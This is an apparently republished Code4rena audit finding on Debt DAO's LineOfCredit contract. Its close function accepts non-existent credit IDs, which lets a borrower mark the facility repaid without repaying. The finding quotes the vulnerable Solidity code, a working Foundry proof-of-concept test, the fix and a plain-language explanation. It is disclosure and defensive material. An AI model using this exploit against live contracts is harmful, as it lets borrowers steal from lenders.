Borrower can close a credit without repaying debt
The close function of LineOfCredit did not verify that the supplied credit ID existed, so calling it with a non-existent ID still decremented the internal credit count and could mark the whole facility as repaid. A borrower could therefore close a credit without repaying the debt, leaving the lender with bad debt while keeping the borrowed amount and collateral.
Jeiwan Follow with joestakey, berndartmueller and 4 others
Originally disclosed on Code4rena
Submitted by Jeiwan, also found by joestakey, berndartmueller, smiling_heretic, adriro, hansfriese, and bin2chen
A borrower can close a credit without repaying the debt to the lender. The lender will be left with a bad debt and the borrower will keep the borrowed amount and the collateral.
Proof of Concept
The close function of LineOfCredit doesn’t check whether a credit exists or not. As a result, the count variable is decreased in the internal _close function when the close function is called with an non-existent credit ID: LineOfCredit.sol#L388:
function close(bytes32 id) external payable override returns (bool) {
Credit memory credit = credits[id];
address b = borrower; // gas savings
if(msg.sender != credit.lender && msg.sender != b) {
revert CallerAccessDenied();
}
// ensure all money owed is accounted for. Accrue facility fee since prinicpal was paid off
credit = _accrue(credit, id);
uint256 facilityFee = credit.interestAccrued;
if(facilityFee > 0) {
// only allow repaying interest since they are skipping repayment queue.
// If principal still owed, _close() MUST fail
LineLib.receiveTokenOrETH(credit.token, b, facilityFee);
credit = _repay(credit, id, facilityFee);
}
_close(credit, id); // deleted; no need to save to storage
return true;
}
function _close(Credit memory credit, bytes32 id) internal virtual returns (bool) {
if(credit.principal > 0) { revert CloseFailedWithPrincipal(); }
// return the Lender's funds that are being repaid
if (credit.deposit + credit.interestRepaid > 0) {
LineLib.sendOutTokenOrETH(
credit.token,
credit.lender,
credit.deposit + credit.interestRepaid
);
}
delete credits[id]; // gas refunds
// remove from active list
ids.removePosition(id);
unchecked { --count; }
// If all credit lines are closed the the overall Line of Credit facility is declared 'repaid'.
if (count == 0) { _updateStatus(LineLib.STATUS.REPAID); }
emit CloseCreditPosition(id);
return true;
}
Proof of Concept:
// contracts/tests/LineOfCredit.t.sol
function testCloseWithoutRepaying_AUDIT() public {
assertEq(supportedToken1.balanceOf(address(line)), 0, "Line balance should be 0");
assertEq(supportedToken1.balanceOf(lender), mintAmount, "Lender should have initial mint balance");
_addCredit(address(supportedToken1), 1 ether);
bytes32 id = line.ids(0);
assert(id != bytes32(0));
assertEq(supportedToken1.balanceOf(lender), mintAmount - 1 ether, "Lender should have initial balance less lent amount");
hoax(borrower);
line.borrow(id, 1 ether);
assertEq(supportedToken1.balanceOf(borrower), mintAmount + 1 ether, "Borrower should have initial balance + loan");
// The credit hasn't been repaid.
// hoax(borrower);
// line.depositAndRepay(1 ether);
hoax(borrower);
// Closing with a non-existent credit ID.
line.close(bytes32(uint256(31337)));
// The debt hasn't been repaid but the status is REPAID.
assertEq(uint(line.status()), uint(LineLib.STATUS.REPAID));
// Lender's balance is still reduced by the borrow amount.
assertEq(supportedToken1.balanceOf(lender), mintAmount - 1 ether);
// Borrower's balance still includes the borrowed amount.
assertEq(supportedToken1.balanceOf(borrower), mintAmount + 1 ether);
}
Recommended Mitigation Steps
In the close function of LineOfCredit, consider ensuring that a credit with the user-supplied ID exists, before closing it.
kibagateaux (Debt DAO) confirmed
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
How it worked
Root cause
The close function did not check that the supplied credit ID existed before calling the internal _close function, which unconditionally decremented the credit count and could set the facility status to REPAID.
Impact
A borrower could close a credit without repaying, leaving the lender with bad debt while the borrower keeps the borrowed amount and the collateral.
What the attacker needed
An open credit line with borrowed principal; caller is the borrower or lender
The fix
The close function should be fixed to ensure that a credit with the user-supplied ID exists before closing it.
How it was found
- Add a credit line with a supported token.
- Borrow the full amount from the credit line.
- Call close with a non-existent credit ID instead of repaying.
- Observe that the facility status becomes REPAID while the lender's balance stays reduced and the borrower keeps the funds.
Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
A smart contract keeps track of how many credit lines are open. The close function was supposed to shut one down only if it existed, but it did not check. By passing a made-up ID, a borrower could make the contract think all credit was repaid, even though the money was still owed.
What is Business logic?
The application works as coded but not as intended: a negative price, a skipped payment step, a limit that can be crossed.